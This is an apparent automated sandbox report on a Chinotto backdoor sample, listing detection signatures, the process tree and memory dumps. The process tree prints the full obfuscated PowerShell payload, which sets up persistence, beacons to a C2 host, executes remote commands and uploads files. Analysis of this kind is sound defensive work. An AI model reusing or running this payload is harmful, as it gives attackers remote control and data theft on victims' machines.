Analysis
- max time kernel
147s - max time network
149s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
02/01/2022, 22:21
General
- Target 304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3.bin.exe
- Size 43KB
- Sample220102-19m9ashbhq
- SHA256 304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3
Score
10/10
Malware Config
Signatures
- suricata: ET MALWARE Chinotto CnC Activity (command)
suricata: ET MALWARE Chinotto CnC Activity (command)
- suricata: ET MALWARE Chinotto CnC Activity (hello)
suricata: ET MALWARE Chinotto CnC Activity (hello)
- Blocklisted process makes network request 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3.bin.exe"C:\Users\Admin\AppData\Local\Temp\304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3.bin.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2ViOw0KZnVuY3Rpb24gcmVnKCRwYXJhbSkNCnsNCiAgICBOZXctSXRlbVByb3BlcnR5IC1QYXRoICJIS0NVOlxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iIC1OYW1lICJIeXBlclNlcnZlciIgLVZhbHVlICRwYXJhbSAtUHJvcGVydHlUeXBlIFNUUklORyAtRm9yY2UgfCBPdXQtTnVsbDsNCn0NCmZ1bmN0aW9uIHNlbmRIdHRwUmVxdXN0KCRwYXJhbSkNCnsNCiAgICAkSFRUUF9SZXF1ZXN0MSA9IFtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJHBhcmFtKTsNCiAgICAkSFRUUF9SZXNwb25zZTEgPSAkSFRUUF9SZXF1ZXN0MS5HZXRSZXNwb25zZSgpOw0KICAgICRIVFRQX1Jlc3BvbnNlMS5DbG9zZSgpOw0KfQ0KZnVuY3Rpb24gdXBsb2FkRmlsZSgkcGFyYW1fZmlsZVBhdGgsICRwYXJhbV9maWxlTmFtZSkNCnsNCiAgICAkdmFsID0gJHVybCArICI/dHlwZT1maWxlJmRpcmVjdGlvbj1zZW5kJmlkPSIgKyAkc2VyaWFsTnVtYmVyOw0KICAgICRieXRlcyA9ICQoZ2V0LWNvbnRlbnQgJHBhcmFtX2ZpbGVQYXRoIC1FbmMgQnl0ZSk7DQogICAgJGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkdldEVuY29kaW5nKCJpc28tODg1OS0xIik7DQogICAgJGZpbGVFbmMgPSAkZW5jLkdldFN0cmluZygkYnl0ZXMpOw0KICAgICRib3VuZGFyeSA9IFtTeXN0ZW0uR3VpZF06Ok5ld0d1aWQoKS5Ub1N0cmluZygpOw0KICAgICRMRiA9ICJgcmBuIjsNCiAgICAkYm9keUxpbmVzID0gKCANCiAgICAgICAgIi0tJGJvdW5kYXJ5IiwNCiAgICAgICAgIkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT1gImZpbGVgIjsgZmlsZW5hbWU9YCIiICsgJHBhcmFtX2ZpbGVOYW1lICsgImAiIiwNCiAgICAgICAgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJExGIiwNCiAgICAgICAgJGZpbGVFbmMsDQogICAgICAgICItLSRib3VuZGFyeS0tJExGIiANCiAgICApIC1qb2luICRMRjsNCiAgICAkV2ViUmVxdWVzdCA9IFtTeXN0ZW0uTmV0Lkh0dHBXZWJSZXF1ZXN0XTo6Q3JlYXRlKCR2YWwpOw0KICAgICRXZWJSZXF1ZXN0Lk1ldGhvZCA9ICJQT1NUIjsNCiAgICAkV2ViUmVxdWVzdC5Db250ZW50VHlwZSA9ICJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT1gIiRib3VuZGFyeWAiIjsNCiAgICAkU3RyZWFtID0gJFdlYlJlcXVlc3QuR2V0UmVxdWVzdFN0cmVhbSgpOw0KICAgICRib2R5ID0gW2J5dGVbXV1bY2hhcltdXSRib2R5TGluZXM7DQogICAgJFN0cmVhbS5Xcml0ZSgkYm9keSwgMCwgJGJvZHkuTGVuZ3RoKTsNCiAgICAkU3RyZWFtLkZsdXNoKCk7DQogICAgJFN0cmVhbS5DbG9zZSgpOw0KICAgICRSZXNwb25zZSA9ICRXZWJSZXF1ZXN0LkdldFJlc3BvbnNlKCk7DQogICAgJFJlc3BvbnNlLkNsb3NlKCk7DQogICAgI0ludm9rZS1SZXN0TWV0aG9kIC1IZWFkZXJzIEB7IkNhY2hlLUNvbnRyb2wiPSJuby1jYWNoZSJ9IC1VcmkgJHZhbCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT1gIiRib3VuZGFyeWAiIiAtQm9keSAkYm9keUxpbmVzOw0KfQ0KJG9sZFBhdGggPSAkZW52OlRFTVArJ1xoYW53b3JkdXBkYXRlLmV4ZSc7DQokbmV3UGF0aCA9ICRlbnY6QVBQREFUQSArICdcc3ZjaG9zdC5leGUnOw0KQ29weS1JdGVtICRvbGRQYXRoIC1EZXN0aW5hdGlvbiAkbmV3UGF0aDsNCnJlZygkbmV3UGF0aCk7DQokdXJsID0gImh0dHA6Ly9ramRuYy5ncDExNC5uZXQvZGF0YS9sb2cvZG8ucGhwIjsNCiRzZXJpYWxOdW1iZXIgPSAoZ3dtaSB3aW4zMl9iaW9zIHwgU2VsZWN0IC1FeHBhbmRQcm9wZXJ0eSBTZXJpYWxOdW1iZXIpOw0KJHNlcmlhbE51bWJlciA9ICRzZXJpYWxOdW1iZXIuUmVwbGFjZSgnICcsICcnKTsNCiRyZXN1bHRQYXRoID0gJGVudjpBUFBEQVRBICsgJ1xkZXNrdG9wLmRhdCc7DQpzZW5kSHR0cFJlcXVzdCgkdXJsICsgIj90eXBlPWhlbGxvJmRpcmVjdGlvbj1zZW5kJmlkPSIgKyAkc2VyaWFsTnVtYmVyKTsNCndoaWxlICgkdHJ1ZSl7DQogICAgJHZhbCA9ICIiOw0KICAgICRIVFRQX1JlcXVlc3QgPSBbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XTo6Q3JlYXRlKCR1cmwgKyAiP3R5cGU9Y29tbWFuZCZkaXJlY3Rpb249cmVjZWl2ZSZpZD0iICsgJHNlcmlhbE51bWJlcik7DQogICAgJEhUVFBfUmVzcG9uc2UgPSAkSFRUUF9SZXF1ZXN0LkdldFJlc3BvbnNlKCk7DQogICAgJEhUVFBfU3RhdHVzID0gJEhUVFBfUmVzcG9uc2UuU3RhdHVzQ29kZTsNCiAgICBJZiAoJEhUVFBfU3RhdHVzIC1lcSAyMDApIHsNCiAgICAgICAgJHJlYWRTdHJlYW0gPSBOZXctT2JqZWN0IFN5c3RlbS5JTy5TdHJlYW1SZWFkZXIgJEhUVFBfUmVzcG9uc2UuR2V0UmVzcG9uc2VTdHJlYW0oKTsNCiAgICAgICAgJGRhdGE9JHJlYWRTdHJlYW0uUmVhZFRvRW5kKCk7DQogICAgICAgIGlmICghJGRhdGEuQ29udGFpbnMoIkZhaWwiKSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCRkYXRhLkNvbnRhaW5zKCJyZWY6IikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc2VuZEh0dHBSZXF1c3QoJHVybCArICI/dHlwZT1oZWxsbyZkaXJlY3Rpb249c2VuZCZpZD0iICsgJHNlcmlhbE51bWJlcik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRkYXRhLkNvbnRhaW5zKCJjbWQ6IikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGRhdGEuU3Vic3RyaW5nKDQpIHwgT3V0LWZpbGUgJHJlc3VsdFBhdGg7DQogICAgICAgICAgICAgICAgdXBsb2FkRmlsZSAkcmVzdWx0UGF0aCAoJHNlcmlhbE51bWJlciArICctcmVzdWx0Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRkYXRhLkNvbnRhaW5zKCJkb3duOiIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRmaWxlVXJsID0gJGRhdGEuU3Vic3RyaW5nKDUpOw0KICAgICAgICAgICAgICAgICRmaWxlTmFtZSA9ICRmaWxlVXJsLlN1YnN0cmluZygkZmlsZVVybC5MYXN0SW5kZXhPZigiLyIpICsgMSk7DQogICAgICAgICAgICAgICAgJHBhdGggPSAkZW52OkFQUERBVEEgKyAiXCIgKyAkZmlsZU5hbWU7DQogICAgICAgICAgICAgICAgKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCRmaWxlVXJsLCAkcGF0aCk7DQogICAgICAgICAgICAgICAgJHZhbCA9ICR1cmwgKyAiP3R5cGU9cmVzdWx0JmRpcmVjdGlvbj1zZW5kJmlkPSIgKyAkc2VyaWFsTnVtYmVyICsgIiZkYXRhPVN1Y2Nlc3MiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkZGF0YS5Db250YWlucygidXBsb2FkOiIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRmaWxlUGF0aCA9ICRkYXRhLlN1YnN0cmluZyg3KTsNCiAgICAgICAgICAgICAgICAkZmlsZU5hbWUgPSAkZGF0YS5TdWJzdHJpbmcoJGRhdGEuTGFzdEluZGV4T2YoIlwiKSArIDEpOw0KICAgICAgICAgICAgICAgIHVwbG9hZEZpbGUgJGZpbGVQYXRoICRmaWxlTmFtZTsNCiAgICAgICAgICAgICAgICAkdmFsID0gJHVybCArICI/dHlwZT1yZXN1bHQmZGlyZWN0aW9uPXNlbmQmaWQ9IiArICRzZXJpYWxOdW1iZXIgKyAiJmRhdGE9U3VjY2VzcyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRkYXRhLkNvbnRhaW5zKCJydW46IikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgU3RhcnQtUHJvY2VzcyAkZGF0YS5TdWJzdHJpbmcoNCkgLU5vTmV3V2luZG93Ow0KICAgICAgICAgICAgICAgICR2YWwgPSAkdXJsICsgIj90eXBlPXJlc3VsdCZkaXJlY3Rpb249c2VuZCZpZD0iICsgJHNlcmlhbE51bWJlciArICImZGF0YT1TdWNjZXNzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICAkSFRUUF9SZXNwb25zZS5DbG9zZSgpOw0KICAgIGlmICgkdmFsIC1uZSAiIikNCiAgICB7DQogICAgICAgIHNlbmRIdHRwUmVxdXN0KCR2YWwpOw0KICAgIH0NCiAgICBzdGFydC1zbGVlcCAtc2Vjb25kcyA1Ow0KfQ==')));2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1140-116-0x0000000004E50000-0x0000000004E51000-memory.dmp
memory/1140-117-0x0000000004E50000-0x0000000004E51000-memory.dmp
memory/1140-118-0x00000000052E0000-0x0000000005316000-memory.dmp
memory/1140-119-0x0000000007B00000-0x0000000008128000-memory.dmp
memory/1140-120-0x0000000004F10000-0x0000000004F11000-memory.dmp
memory/1140-121-0x0000000004F12000-0x0000000004F13000-memory.dmp
memory/1140-122-0x0000000007900000-0x0000000007922000-memory.dmp
memory/1140-123-0x0000000008130000-0x0000000008196000-memory.dmp
memory/1140-124-0x0000000008380000-0x00000000083E6000-memory.dmp
memory/1140-125-0x00000000083F0000-0x0000000008740000-memory.dmp
memory/1140-126-0x0000000004E50000-0x0000000004E51000-memory.dmp
memory/1140-128-0x0000000008220000-0x000000000823C000-memory.dmp
memory/1140-129-0x0000000008BD0000-0x0000000008C1B000-memory.dmp
memory/1140-130-0x0000000008A30000-0x0000000008AA6000-memory.dmp
memory/1140-137-0x000000000A310000-0x000000000A988000-memory.dmp
memory/1140-138-0x0000000009890000-0x00000000098AA000-memory.dmp
memory/1140-147-0x000000000A990000-0x000000000AEBC000-memory.dmp
memory/1140-152-0x0000000009D30000-0x0000000009DC4000-memory.dmp
memory/1140-153-0x0000000009CD0000-0x0000000009CF2000-memory.dmp
memory/1140-154-0x000000000AEC0000-0x000000000B3BE000-memory.dmp
memory/1140-159-0x0000000004F13000-0x0000000004F14000-memory.dmp